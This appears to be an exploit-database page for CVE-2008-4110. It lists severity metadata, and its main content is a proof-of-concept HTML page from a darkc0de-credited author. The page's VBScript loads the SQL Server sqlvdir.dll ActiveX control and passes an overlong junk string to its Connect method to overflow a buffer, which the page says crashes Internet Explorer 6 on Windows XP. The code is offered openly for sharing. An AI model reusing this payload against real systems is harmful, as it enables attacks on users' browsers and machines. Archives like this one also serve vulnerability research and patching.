sqlvdir.dll ActiveX Remote Buffer Overflow Exploit

2008.09.12

Credit: beenudel1986_at_gmail.com

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4110

CWE: CWE-119

CVSS Base Score: 7.6/10

Impact Subscore: 10/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

 #      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - r4s4al    # 
#  ---QKrun1x-P47tr1ck - FeDeReR -MAGE -JeTFyrE                # 
#                   and all darkc0de members                ---# 
################################################################ 
# 
# Author: Beenu Arora 
# 
# Home  : www.BeenuArora.com 
# 
# Email : beenudel1986_at_gmail&#46;com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# sqlvdir.dll ActiveX Remote Buffer Overflow Exploit 
# 
# Successfull exploitation crashes the Browser 
# 
# Tested On : WinXp Sp-2 IE 6.0 
# 
################################################# 
# Loaded File: C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlvdir.dll 
# Class SQLVDirControl 
# GUID: {FC13BAA2-9C1A-4069-A221-31A147636038} 
# Number of Interfaces: 1 
# Default Interface: ISQLVDirControl 
# RegKey Safe for Script: False 
# RegkeySafe for Init: False 
# KillBitSet: False 
################################################# 
 
 
<html> 
Test Exploit page 
<object classid='clsid:FC13BAA2-9C1A-4069-A221-31A147636038' id='target' ></object> 
<script language='vbscript'> 
targetFile = "C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlvdir.dll" 
prototype  = "Sub Connect ( [ ByVal szServer As Variant ] ,  [ ByVal szWebSite As Variant ] )" 
memberName = "Connect" 
progid     = "SQLVDIRLib.SQLVDirControl" 
argCount   = 2 
arg1="defaultV" 
arg2="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\te 
st\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\test\tes\test\test\te.s\ttest\test 
\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\test\tes\test\tes 
t\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te_at_st\tes\test\test\tes&#46;\ttest\test\ 
test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\" 
 
target.Connect arg1 ,arg2 
 
</script> 

References:

http://www.securityfocus.com/bid/31129

http://www.securityfocus.com/archive/1/archive/1/496232/100/0/threaded

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

sqlvdir.dll ActiveX Remote Buffer Overflow Exploit

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.